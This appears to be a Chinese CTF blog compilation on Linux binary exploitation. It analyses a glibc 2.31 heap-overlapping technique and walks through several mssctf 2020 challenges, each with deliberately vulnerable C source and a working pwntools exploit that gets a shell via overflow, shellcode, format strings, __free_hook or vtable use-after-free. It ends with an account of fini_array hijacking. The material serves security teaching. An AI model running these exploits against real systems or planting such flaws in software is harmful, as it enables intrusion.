2020年9月

原writeup把思路写得非常详细,这里不赘述了,提取一些巧妙的攻击思路分析和学习就行
https://hxp.io/blog/77/0CTF-Finals-2020-babyheap/

前置

原题当时看了一下不太有思路,没有继续写下去。这题用了比较新的Glibc2.31,所以很多机制不太一样,利用手段需要改进,所以题面才会说“要更新你的技巧了”(好real的pwn,我喜欢,虽然我不会...)

unlink手段变化

原先(以Glibc2.27举例)利用unlink只需要满足如下三个条件:

  • chunksize(P) != prev_size (next_chunk(P)) [注意这条]
  • FD->bk != P || BK->fd != P
  • P->fd_nextsize->bk_nextsize != P || P->bk_nextsize->fd_nextsize != P

所以,伪造的free_chunk的nextsize并不需要和被free的chunk的prevsize一样,这就导致了利用较为简单。但是Glibc2.31在向前合并过程中,unlink之前,添加了如下检测条件:

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

所以如果上述nextsizeprevsize不同就会触发报错。这题的关键在于巧妙地构造“正常”的unlink过程,也就是在被free的chunk和被合并的chunk之间不夹带其它的chunk构成overlapping。但是因为chunk_info结构体在一段随机内存段上,不方便直接构造fd和bk,那么fd和bk就只能从被free后放入unsorted_bin产生的指针构造。but如果free即将被合并的chunk以产生fd, bk又和我们的目标——构造overlapping 背道而驰...

然后就引出了原writeup作者的方法

巧妙构造overlapping

既然fd和bk不能直接通过free产生,那可以尝试使用一些“遗留”在堆内存上的指针——即换个思路,不直接伪造fd和bk,而是尝试伪造chunk头部的位置。

文章给出了一种利用“遗留”指针构造fake chunk的手法:

  1. 第一步

    • 分配两个同样大小的堆块,size要大于smallbin范围以保证free后能直接进入unsortedbin


    ............... - chunk A
    |             |
    |             |
    |             |
    ............... - chunk B
    |             |
    |             |
    |             |
    ...............
    
  2. 第二步

    • 释放他们使得两个堆块合并
    • 此时位于高地址的堆块指针“遗留”在了堆内存上


    ...............
    |  (header )  |
    |  (new ptr)  |
    |             |
    |             |
    |             |
    |  (old ptr)  |
    |             |
    |             |
    ...............
    
  3. 第三步

    • 对已经合并的堆块重分配,大小要把old ptr包括在内,以便于伪造堆头


    ...............
    |  (header )  |
    |  (new ptr)  |
    |             |
    |             |
    |             |
    |  (old ptr)  |
    ...............
    |  (header )  |
    |             |
    ...............
    
  4. 第四步

    • 伪造堆头


    ...............
    |  (header )  |
    |  (new ptr)  |
    |             |
    |             |
    ...............
    |  (fake H )  |
    |  (old ptr)  |
    ...............
    |  (header )  |
    |             |
    ...............
    
  5. 第五步

    • 伪造更高地址位置的prev_size和prev_inuse位,这里比较简单,可以通过夹一个小堆块然后溢出构造实现


    ...............
    |  (header )  |
    |  (new ptr)  |
    |             |
    |             |
    ...............
    |  (fake H )  |
    |  (old ptr)  |
    ..................
    |  (header )  |  |
    |             |  |  fake chunk范围
    ...............  |
    |  (help   )  |  |  <-溢出这个堆块构造下面的堆块(offbynull)
    ..................
    |  (header )  |     <-伪造prev_size和prev_inuse位
    |             |
    |             |
    ...............
    
  6. 第六步

    • free掉最高的块触发unlink
    • 此时一部分可控区域就被包含在了新堆块里面


    ...............
    |  (header )  |
    |  (new ptr)  |
    |             |
    |             |
    ...............
    |  (header )  |
    |  (old ptr)  |
    |             |
    |             |
    |             |
    |             |
    |  (help   )  |
    ................
    |  (header )  |
    |             |
    |             |
    ...............
    
  7. 第七步

    • 尽情利用这个成果,通过uaf的方式,既可以泄露libc地址,又可以构造tcache attach去修改某地址上的值...

exp

python3

from pwn import *

p = process("./babyheap")
libc = ELF("./libc.so.6")
context.log_level = "debug"


def add(size:int):
    p.recvuntil(b"Command: ")
    p.sendline(b"1")
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())

def update(idx:int, size:int, content):
    p.recvuntil(b"Command: ")
    p.sendline(b"2")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content: ")
    p.send(content)

def delete(idx:int):
    p.recvuntil(b"Command: ")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())


def view(idx:int):
    p.recvuntil(b"Command: ")
    p.sendline(b"4")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())

def go_exit():
    p.recvuntil(b"Command: ")
    p.sendline(b"5")

def exp():
    #overlapping
    add(0x508)  #0 fd
    add(0x48)   #1 
    add(0x508)  #2 extend
    add(0x508)  #3 setup
    add(0x18)   #4 
    add(0x508)  #5 bk help
    add(0x508)  #6 bk
    add(0x18)   #7
    #gdb.attach(p)

    delete(0) #del0
    delete(3) #del3
    delete(6) #del6
    delete(2) #del2
    #gdb.attach(p)

    add(0x508) #0
    add(0x508) #2
    add(0x530) #3 fake chunk
    #gdb.attach(p)

    delete(2) #del2
    delete(5) #del5
    #gdb.attach(p)

    add(0x4d8) #2
    add(0x530) #5
    add(0x4d8) #6
    #gdb.attach(p)

    delete(0) #del0
    delete(2) #del2
    #gdb.attach(p)

    add(0x508) #0
    add(0x4d8) #2
    #gdb.attach(p)

    #build fake chunk
    payload = b" "*0x508 + int(0x531).to_bytes(7, 'little')
    update(3, len(payload), payload)
    payload = b" "*8
    update(0, len(payload), payload)

    # prepare fake header and correct pointer
    payload = b" "*0x4f8 + p64(0x521) + p64(0) + p64(0x511)
    update(5, len(payload), payload)
    #gdb.attach(p)

    payload = b" "*0x10 + p64(0x530)
    update(4, len(payload), payload)
    #gdb.attach(p)
    # merge fakechunk to overlapping
    delete(5) #fd: 0x0000555555559490   bk: 0x000055555555a940
    #gdb.attach(p)

    #get the part near idx3
    #make a glibc_addr into idx2
    add(0x28)
    #leak
    view(2)
    p.recvuntil(b"Chunk[2]: ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x1ebbe0
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + 0x1eeb28
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))

    #tcache attack to rewrite free_hook
    add(0x28) #8
    add(0x28) #9
    delete(9) #del8
    delete(8) #del9

    payload = p64(free_hook)
    update(2, len(payload), payload)
    #gdb.attach(p)
    add(0x28) #8
    add(0x28) #9

    update(9, 8, p64(system))
    gdb.attach(p)

    #free idx8 to call system("/bin/sh\x00")
    payload = b"/bin/sh\x00"
    update(8, len(payload), payload)
    delete(8)

    p.interactive()

if __name__ == "__main__":
    exp()

2020年 第三届全国中学生网络安全竞赛

初赛

初赛终榜

blind

思路

  • 这是一道签到盲pwn,用于getshell的函数地址已经给出,只需要循环爆破栈溢出字节数即可
  • 通过观察发现,如果发生了栈溢出再输入#exit会没有stopping提示而直接重启服务,说明栈被破坏了,以此可以确定是否达到所需字节数

源代码

#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

void backdoor(){
    system("/bin/sh");
}

void echo(){
    char buf[32];
    puts("The echo server is starting...");
    puts("Type '#exit' to exit.");
    while(1){
        printf("msg:");
        scanf("%s",buf);
        if(!strcmp(buf, "#exit"))
            return;
        puts(buf);
    }
}

int main(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    puts("Welcome to mssctf2020.");
    printf("Here is a backdoor left by eqqie: %p\n\n\n",backdoor);
    while(1){
        int pid = fork();
        if(pid){ // main
            wait(NULL);
        }
        else{
            echo();
            puts("The echo server is stopping...");
            exit(0);
        }
    }    
}

exp

from pwn import *
#context.log_level = "debug"

def get_socket():
    return remote("mssctf.eqqie.cn", 10000)
    #return process("./blind")
offset = 1

p = get_socket()
p.recvuntil(b"eqqie: ")
backdoor = int(p.recvuntil(b"\n"), 16)
p.close

while True:
    p = get_socket()
    p.sendafter(b"msg:",b"A"*offset+b"\n")
    p.sendafter(b"msg:",b"#exit\n")
    ret = p.recvuntil(b"starting...")
    if b"stopping" not in ret:
        print("offset is:",offset)
        p.sendafter(b"msg:",b"A"*offset+p64(backdoor)+b"\n")
        p.sendafter(b"msg:",b"#exit\n")
        p.interactive()
        break
    else:
        offset+=1
        print("offset+1")
    p.close()

whisper

思路

  • say_hello 函数中存在溢出漏洞,当输入长度为 32 个字节时,strdup 函数会把 old rbp 一起保存到堆上,随后打印时可泄露栈地址。
  • 通过调试可以计算出保存在栈上的第二次输入处的指针。
  • 接收用户第二次输入的 scanf 函数也存在溢出漏洞,如果在第二次输入时写入 shellcode 并覆盖返回地址为指向 shellcode 的指针,即可 get shell。

源代码

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void my_init() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
    return;
}

char *say_hello() {
    char name[24];
    char *p;
    memset(name, 0, sizeof(name) + 8);
    puts("input your name:");
    read(0, name, 32);
    p = strdup(name);
    printf("hello, %s\n", p);
    return p;
}

void say_goodbye() {
    puts("i see, goodbye.");
    return;
}

int main() {
    char *p;
    char buf[64];
    my_init();
    p = say_hello();
    puts("young man, what do you want to tell me?");
    scanf("%s", buf);
    say_goodbye();
    return 0;

}

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

io = remote('mssctf.eqqie.cn', 10001)
# gdb.attach(io)

io.sendlineafter('input your name:', 'a' * 31)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success('leak: ' + hex(leak))

shellcode_place = leak - 0x50
info('shellcode_place: ' + hex(shellcode_place))

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x58, 'a') + p64(shellcode_place)
io.sendlineafter('what do you want to tell me?', payload)
io.interactive()

baby_format

思路

  • 这是一个格式化字符串利用的题
  • 题目原先限制了printf次数,所以需要先在限制次数内泄露出栈和libc地址并修改循环计数变量
  • 通过构造栈上的二级指针向栈上某个位置写入一个指向printf_got的指针
  • 用上一步构造出的指针修改printf的got表
  • 当循环次数用尽后会用printf输出之前用户输入的name,所以只需要在开头输入name的时候构造成一条合法shell命令就可以getshell了

源代码

#include<cstdio>
#include<cstdlib>
#include<unistd.h>

char msg1[48];
char msg2[64];
char name[16];
char msg3[64];

void prepare(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

void read_input(char *buf, unsigned int size){
    int i = 0;
    while(i<size){
        if(read(0, (buf+i), 1)==-1){
            break;
        }
        else{
            if(*(buf+i)=='\n'){
                *(buf+i) = '\0';
                break;
            }
            i++;
        }
    }
}

int main(){
    int timeout = 2;
    prepare();
    printf("Input your name:");
    read_input(name, 16);
    puts("Welcome to mssctf_2020!");
    do{
        printf("Leave me your msg: ");
        read_input(msg1, 48);
        sprintf(msg2, "You said that %s", msg1);
        printf(msg2);
    }
    while(timeout--);
    sprintf(msg3, "Welcome to XDU, %s!", name);
    puts(msg3);
    return 0;
}

tips

本题的演示exp有多次4字节写所以容易出现io卡住的情况,可以尝试分解成两次2字节写来解决

exp

from pwn import *
import time

#p = process("./baby_format")
p = remote("mssctf.eqqie.cn", 10002)
elf = ELF("./baby_format")
libc = ELF("./libc.so.6")
context.log_level = "debug"

#gdb.attach(p, "b printf\nc\n")
#gdb.attach(p, "b *0x40084c\nc\n")
printf_plt = elf.symbols[b"printf"]
puts_got = elf.got[b"puts"]

p.sendafter("Input your name:", b";/bin/sh;echo \x00\n")
p.recvuntil(b"Welcome to mssctf_2020!\n")

#leak
payload1 = b"||%9$p||%11$p||\n"
p.sendafter("Leave me your msg: ", payload1)
p.recvuntil(b"||")
libc_base = int(p.recvuntil(b"||",drop=True),16) - 0x20840
stack_leak = int(p.recvuntil(b"||",drop=True),16)
stack1 = stack_leak - 0xec
stack2 = stack_leak - 0xb8
print("libc_base", hex(libc_base))
print("stack_leak", hex(stack_leak))
print("stack1", hex(stack1))
print("stack2", hex(stack2))

#modify loop
print("modify loop")
low_bytes = stack1 & 0xFFFF
payload2 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload2)
p.sendafter("Leave me your msg: ", b"%6c%37$n\n")

#overwrite got_addr+0 to stack
print("overwrite got_addr+0 to stack")
low_bytes = stack2 & 0xFFFF
payload3 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload3)
payload4 = b"%" + str(int(puts_got-14)).encode() + b"c%37$n\n"
p.sendafter("Leave me your msg: ", payload4)

#overwrite printf_got-printf_got+2
print("overwrite printf_got-printf_got+2")
system = libc_base + libc.symbols[b"system"]
print("system", hex(system))
low_bytes = system & 0xFFFF
payload5 = b"%" + str(int(low_bytes-14)).encode() + b"c%14$hn\n"
p.sendafter("Leave me your msg: ", payload5)

#overwrite got_addr+2 to stack
print("overwrite got_addr+2 to stack")
low_bytes = stack2 & 0xFFFF
payload6 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload6)
payload7 = b"%" + str(int(puts_got+2-14)).encode() + b"c%37$n\n"
p.sendafter("Leave me your msg: ", payload7)

#overwrite printf_got+2-printf_got+4
print("overwrite printf_got+2-printf_got+4")
low_bytes = (system >> 16) & 0xFFFF
payload8 = b"%" + str(int(low_bytes-14)).encode() + b"c%14$hn\n"
p.sendafter("Leave me your msg: ", payload8)

for i in range(14):
    p.sendafter("Leave me your msg: ", b"AAAA\n")
    time.sleep(0.5)

p.interactive()

决赛

决赛终榜

gift

前置知识

  • 基础逆向
  • C++虚表机制
  • UAF漏洞原理

思路

  • 程序模拟了个人信息管理系统,提供了如下功能

    • 创建个人信息
    • 显示个人信息
    • 删除个人信息
    • 自定义长度留言
  • 通过IDA逆向分析得知,bss全局变量区域会保存一个指针指向用户通过new关键字创建的对象,同时通过检查删除功能的实现发现该指针变量在对象销毁后没有置NULL,由此推测存在UAF(use after free)。于是进一步检查show功能。

  • show功能调用了对象中的某个方法来显示用户信息,同时还发现对象具有一个可以getshell的方法,只是不能直接调用。由此可以得知大概攻击思路:利用UAF修改虚表指针使得show功能能够getshell。

  • 接下来进入动态调试步骤:


    使用创建信息功能后检查堆内存


  • 0x615c10: 0x0000000000000000  0x0000000000000041
    0x615c20: 0x0000000000401e58  0x0000000000000014
    0x615c30: 0x0000000000615c40  0x0000000000000008
    0x615c40: 0x4141414141414141  0x0000000000000000
    

  • 刚刚创建的信息(name: AAAAAAAA, age: 20)被存入了一个0x40大小的堆块


  • 由C++虚表知识可知堆块头存放了vtable的地址,往后则是个人信息


  • 检查0x401e58(虚表)处内存


  • 0x401e58: 0x0000000000401788 0x0000000000401932


  • 明显是两个函数的地址,第一个是getshell函数,第二个是show info功能,调用show info时从vtable+0x8取出函数指针,只要把对象内存头部改为vtable-0x8就可以通过show info来调用getshell方法

  • 攻击步骤

    • 创建信息
    • 删除信息
    • 创建长度为0x30的留言
    • 使用show info功能getshell

exp

from pwn import *

p = process("./gift")
#context.log_level = "debug"

def create(name, age:int):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Your name: ")
    p.sendline(name)
    p.recvuntil(b"Your age: ")
    p.sendline(str(age).encode())

def show():
    p.recvuntil(b"> ")
    p.sendline(b"2")

def delete():
    p.recvuntil(b"> ")
    p.sendline(b"3")

def msg(content, length:int):
    p.recvuntil(b"> ")
    p.sendline(b"4")
    p.recvuntil(b"How long? ")
    p.sendline(str(length).encode())
    p.recvuntil(b"content: ")
    p.sendline(content)


def exp():
    vtable = 0x401e58
    chunk_size = 0x40

    create("eqqie",20)
    delete()
    msg(p64(vtable-0x8), 0x30)
    gdb.attach(p)
    show()
    p.interactive()

if __name__ == "__main__":
    exp()

源代码

//g++ -fstack-protector -no-pie -o uaf --std=c++17 uaf.cpp;chmod +x uaf;strip uaf;
#include<iostream>
#include<string>
#include<cstdio>
#include<stdlib.h>
#include<signal.h>
#include<unistd.h>
class student{
    private:
        virtual void gift(){
            //std::cout<<"Welcome to XDU next time."<<std::endl;
            std::cout<<"Your gift is a hard shell, and I hope you can use it to resist all fear."<<std::endl;
            system("/bin/sh");
        }
    protected:
        int age;
        std::string name;
    public:
        virtual void log_info(){
            std::cout<<"-----------------------------------------"<<std::endl;
            std::cout<<"My name is "<<name<<", and I am "<<age<<" years old."<<std::endl;
            std::cout<<"-----------------------------------------"<<std::endl;
        }
};

class mss_player : public student{
    public:
        mss_player(std::string name,int age){
            this->name = name;
            this->age = age;
        }
        virtual void log_info(){
            student::log_info();
            std::cout<<"I'm a mssctf player."<<std::endl;
        }
};

mss_player *my_info=NULL;

void welcome(){
    char msg[] = R"+*(  __  __                      _      __     _____   _                   _ 
 |  \/  |  ___   ___    ___  | |_   / _|   |  ___| (_)  _ __     __ _  | |
 | |\/| | / __| / __|  / __| | __| | |_    | |_    | | | '_ \   / _` | | |
 | |  | | \__ \ \__ \ | (__  | |_  |  _|   |  _|   | | | | | | | (_| | | |
 |_|  |_| |___/ |___/  \___|  \__| |_|     |_|     |_| |_| |_|  \__,_| |_|
                                                                          )+*";
    std::cout<<msg<<std::endl;
}

void prepare(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    alarm(0x3c);
}

int menu(){
    int choice;
    puts("\n1. Create my info.");
    puts("2. Show my info.");
    puts("3. Delete my info.");
    puts("4. Leave some message to eqqie.");
    puts("5. exit.");
    printf("> ");
    scanf("%d",&choice);
    return choice;
}

void create(){
    std::string name;
    int age;
    std::cout<<"Your name: ";
    std::cin>>name;
    std::cout<<"Your age: ";
    std::cin>>age;

    mss_player *mp = new mss_player(name, age);
    my_info = mp;
    std::cout<<"[+]Done!"<<std::endl;
}

void show(){
    mss_player *mp = my_info;
    mp->log_info();
    std::cout<<"[+]Done!"<<std::endl;
}

void del(){
    mss_player *mp = my_info;
    delete mp;
    std::cout<<"[+]Done!"<<std::endl;
}

void msg(){
    int len;
    std::cout<<"How long? ";
    std::cin>>len;
    char *msg = new char[len];
    std::cout<<"content: ";
    std::cin>>msg;
    std::cout<<"[+]Done!"<<std::endl;
}

int main(){
    prepare();
    welcome();
    std::cout<<"Welcome to mssctf final, guys!"<<std::endl;
    std::cout<<"Eqqie leaves a small gift for each player, but you need some tips to open it~\n"<<std::endl;
    std::cout<<"Now you can manage your info to get the gift >"<<std::endl;
    while(1){
        switch(menu()){
            case 1:
                create();
                break;
            case 2:
                show();
                break;
            case 3:
                del();
                break;
            case 4:
                msg();
                break;
            case 5:
                std::cout<<"Bye~"<<std::endl;
                exit(0);
            default:
                printf("Sorry I don't konw...");
        }                                
    }
    return 0;
}

fishing master

前置知识

  • 格式化字符串
  • __free_hook

思路

  • 利用格式化字符串漏洞泄露保存在栈上的 libc 地址

  • 通过任意写修改 __free_hook 为 onegadget 或 system(需要在第一次输入时输入 ""/bin/sh\x00")

  • 当调用 free 函数时即可 get shell。

exp

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

if args.G:
    io = remote('0.0.0.0', 9999)
elif args.D:
    io = gdb.debug('./fishing_master')
else:
    io = process('./fishing_master')

# gdb.attach(io)

'''
do you know how to use this fish hook for flag?
'''

payload = b'%7$saaaa' + p64(0x0000000000600fe8)

io.sendlineafter('tell me your name, and maybe i will teach you how to fish if i like it.', \
    'qqq')
io.sendlineafter('nice name and i like it, i\'ve remembered you in my mind.', '%13$p')
io.recvuntil('0x')
leak = int(b'0x' + io.recv(12), 16)
success('leak: ' + hex(leak))
libc.address = leak - 240 - libc.sym['__libc_start_main']
info('libc_base: ' + hex(libc.address))
free_hook = libc.sym['__free_hook']
info('free_hook: ' + hex(free_hook))
ogg = libc.address + 0x4527a
info('ogg: ' + hex(ogg))
# gdb.attach(io)
io.sendafter('What do you think of this new fish hook?', p64(free_hook))

io.sendafter('i do know you will like it, i hope it can make you a master of fishing.', \
    p64(ogg))

'''
What do you think of this new fish hook?
i do know you will like it, i hope it can make you a master of fishing.

0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

# gdb.attach(io)

io.interactive()

源代码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char *p;

void func0() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
    return;
}

void func1() {
    char name[8];
    puts("tell me your name, and maybe i will teach you how to fish if i like it.");
    read(0, name, 8);
    puts("nice name and i like it, i've remembered you in my mind.");
    p = strdup(name);
    return;
}

void func2() {
    char c[9];
    puts("then i decide to send you a gift for our friendship.");
    read(0, c, 8);
    printf(c);
    return;
}

void func3() {
    char d[9];
    puts("What do you think of this new fish hook?");
    read(0, d, 8);
    puts("i do know you will like it, i hope it can make you a master of fishing.");
    read(0, (void *) * (unsigned long *) d, 8);
    // printf("0x%lx\n", * (unsigned long*) d);
}

void func4() {
    puts("but i have to go, my friend. see you next time.");
    free(p);
    return;
}

int main() {
    func0();
    func1();
    func2();
    func3();
    func4();
    return 0;
}

wallet

前置知识

  • 原题:pwnable.kr -> passcode
  • 栈溢出
  • scanf函数

思路

  • begin存在栈溢出最大可以刚好覆盖check中的password1,而由于check中的scanf第二参数的不规范写法,导致只需要提前在begin中将password1覆盖为puts_got
  • 然后在第一个scanf的时候连带写入调用system("/bin/cat flag")前的push的语句(32位传参规则),从而绕过if的判断,提前cat flag

exp

from pwn import *

p=process("./pwn")
elf = ELF("./pwn")
context.log_level = "debug"
gdb.attach(p,"b *0x8048685\nc\n")
p.recvuntil(b"EXIT\n")
p.sendline(b'1')

puts_got = elf.got[b"puts"]
call_sys_addr = 0x0804862D

name = b'A'*104 + p32(puts_got) + str(call_sys_addr).encode() + b"\b" + str(call_sys_addr).encode() + b"\b" 

p.sendline(name)

p.interactive()

源代码

#include <stdio.h>
#include <stdlib.h>

void check(){
    int password1;
    int password2;

    printf("Now try the First password : ");
    scanf("%d", password1);
    fflush(stdin);

    printf("Now try the Second password : ");
    scanf("%d", password2);

    printf("Let me think......\n"); //优化为puts
    if(password1==338150 && password2==13371337){
                printf("OMG!YOU SUCCESS!\n");
                system("/bin/cat flag");
        }
        else{
                printf("You Failed! Try again.\n");
        exit(0);
        }
}

void begin(){
    char name[108];
    printf("Show me your name : ");
    scanf("%108s", name);
    printf("Welcome %s! :P\n", name);
}

int main(void){
    int num;
    printf("Wal1et prepares a big wallet for you, but clever man always has double passwords. So make your choice.\n");
    printf("1.JUST OPEN IT!\n");
    printf("2.EXIT\n");
    scanf("%d",&num);
    if(num==1){
    begin();
    check();     
    }else{
        return 0;
    }

    printf("Here is something you like.\n");
    return 0;    
}

从这题学到很多之前不太注意的地方,因此还盘点了一下C语言程序运行的整个流程,正所谓 ctf for learning(x

前置知识

从Hello world开始

Hello world简单吗?写起来简单,但是要解释清楚却很难。下面用一个helloworld程序静态编译(x64)作为例子讲解简单C程序的运行流程。

//gcc helloworld.c --static -o helloworld
#include<stdio.h>

int main(){
    printf("Hello world!\n");
    return 0;
}

不知道初学者会不会注意,明明在第一印象中main函数处于一个“至高无上”的地位,却还要在末尾return 0? 有没有想过这个返回值最后交给了谁?

反汇编分析

IDA打开刚刚编译的helloworld,对main函数查看交叉引用,发现在main之前有一个_start操作了main函数的地址,再对_start交叉引用发现,_start的地址是整个程序的Entry_point,也就是说,程序执行后最先执行的是start中的指令。

下面是start的反汇编结果:

.text:0000000000400890 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000400890 ; __unwind {
.text:0000000000400890                 xor     ebp, ebp
.text:0000000000400892                 mov     r9, rdx         ; rtld_fini
.text:0000000000400895                 pop     rsi             ; argc
.text:0000000000400896                 mov     rdx, rsp        ; ubp_av
.text:0000000000400899                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:000000000040089D                 push    rax
.text:000000000040089E                 push    rsp             ; stack_end
.text:000000000040089F                 mov     r8, offset __libc_csu_fini ; fini
.text:00000000004008A6                 mov     rcx, offset __libc_csu_init ; init
.text:00000000004008AD                 mov     rdi, offset main ; main
.text:00000000004008B4                 call    __libc_start_main
.text:00000000004008B4 _start          endp

可见,start在最后调用了__libc_start_main这个函数,经过查证,这是一个库函数(但是为了讲解方便这里使用了静态编译),主要的功能是初始化进程以及各类运行环境,并处理main函数的返回值。这个函数的声明如下:

int __libc_start_main(int (main) (int, char , char ), int argc, char * ubp_av, void (init) (void), void (*fini) (void), void (*rtld_fini) (void), void ( stack_end));

参数非常多,主要关注 rdi r8 rcx 的参数就行。

可以发现rdi中的地址就是main函数的地址,而r8和rcx分别对应__libc_csu_fini__libc_csu_init两个函数。

难道说__libc_start_main会利用这两个函数做些什么吗,于是再去查找这两个函数的相关信息发现,这两个函数各自与一个数组相关联:

.init_array:00000000006C9ED8 _init_array     segment para public 'DATA' use64
.init_array:00000000006C9EE0 off_6C9EE0      dq offset init_cacheinfo
.init_array:00000000006C9EE0 _init_array     ends
===========================================================================
.fini_array:00000000006C9EE8 _fini_array     segment para public 'DATA' use64x
.fini_array:00000000006C9EF0                 dq offset fini
.fini_array:00000000006C9EF0 _fini_array     ends

__libc_csu_init__libc_csu_fini分别对应_init_array_fini_array,这两个数组各自有两个元素,保存了一些函数指针。在进入这个两个函数的时候,他们会遍历调用各自数组中的函数指针。而且,__libc_csu_init 执行期在main之前,__libc_csu_fini 执行期在main之后。也就是说,这两个数组中的函数指针会在main函数执行前后被分别调用。

这里要注意的是,_init_array执行顺序是下标由小到大,_fini_array执行顺序是下标由大到小。

总结一下整个流程大概就是:

start -> _libc_start_main -> libc_csu_init(init_array) -> main -> libc_csu_finit(fini_array) -> exit(main_ret)

至此,最开始的小问题就解决了,main函数的返回值最后交给了_libc_start_main处理,而处理方式是作为exit的参数结束程序。

利用方式

那么有意思的来了,虽然_init_array不便控制,因为它在主函数前就执行完了,但是_fini_array却可以利用主函数的某些漏洞(如任意写)进行控制。

方式1:构造Loop

遇到写次数有限的格式化字符串漏洞,可以利用_fini_array构造loop进行多次写。

尝试构造如下结构:

fini_array[0] = __libc_csu_fini
fini_array[1] = target_func

这样在程序退出的时候,就会循环执行 __libc_csu_fini -> target_func -> __libc_csu_fini -> .... ,从而多次经过漏洞函数所在位置达到多次写的目的。

方式2:构造ROP链

这是比较难发现的点,首先仔细看__libc_csu_fini的反汇编结果:

.text:0000000000401710 ; void _libc_csu_fini(void)
.text:0000000000401710                 public __libc_csu_fini
.text:0000000000401710 __libc_csu_fini proc near               ; DATA XREF: _start+F↑o
.text:0000000000401710 ; __unwind {
.text:0000000000401710                 push    rbx
.text:0000000000401711                 mov     ebx, offset __JCR_LIST__
.text:0000000000401716                 sub     rbx, offset __do_global_dtors_aux_fini_array_entry
.text:000000000040171D                 sar     rbx, 3
.text:0000000000401721                 test    rbx, rbx
.text:0000000000401724                 jz      short loc_40173D
.text:0000000000401726                 db      2Eh
.text:0000000000401726                 nop     word ptr [rax+rax+00000000h]
.text:0000000000401730
.text:0000000000401730 loc_401730:                             ; CODE XREF: __libc_csu_fini+2B↓j
.text:0000000000401730                 call    ds:off_6C9EE0[rbx*8]
.text:0000000000401737                 sub     rbx, 1
.text:000000000040173B                 jnz     short loc_401730
.text:000000000040173D
.text:000000000040173D loc_40173D:                             ; CODE XREF: __libc_csu_fini+14↑j
.text:000000000040173D                 pop     rbx
.text:000000000040173E                 jmp     _fini
.text:000000000040173E ; } // starts at 401710

可以发现,在执行过程中,__libc_csu_fini先将rbp保存在了原栈,再把rbp迁移到fini_array的位置,然后从fini_array[1]到fini_array[0]进行函数指针的调用,最后利用原栈上的值恢复rbp。

但是如果有心人在fini_array[0]写入leave ret这种gadget的地址,就会导致rsp被迁移到fini_array上,然后按照fini_array[1],fini_array[2],fini_array[3]...这样顺序执行提前布置好的的ROP链。

题目分析

主函数伪代码(部分函数经过重命名):

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int addr_ret; // eax
  char *addr; // ST08_8
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  result = (unsigned __int8)++byte_4B9330;
  if ( byte_4B9330 == 1 )
  {
    write(1u, "addr:", 5uLL);
    read(0, &buf, 0x18uLL);
    strtol((__int64)&buf);                      // 把输入内容转换为长整型(地址)
    addr = (char *)addr_ret;
    write(1u, "data:", 5uLL);
    read(0, addr, 0x18uLL);
    result = 0;
  }
  if ( __readfsqword(0x28u) != v7 )
    sub_44A3E0();
  return result;
}

题目主函数给了一个任意地址写,但是if判断限制只能写一次,并且没有地址泄露的步骤。

很明显,我们需要构造一个loop进行多次任意写,但是栈上地址不知道,所以不能写ret_addr,只能用fini_array构造loop。

但是loop回来能不能过if判断呢?显然不能......才怪。

只要你细心观察就会发现byte_4B9330unsigned _int8,也就是范围在0-255,也就是说当loop执行到一定次数,发生整数溢出时,byte_4B9330 == 1可以重新成立,这样就能继续任意写了。

下一步时构造execve("/bin/sh\x00", 0, 0)功能的ROP链到fini_array上。为了不破坏loop,只能从fini_array[2]开始写。

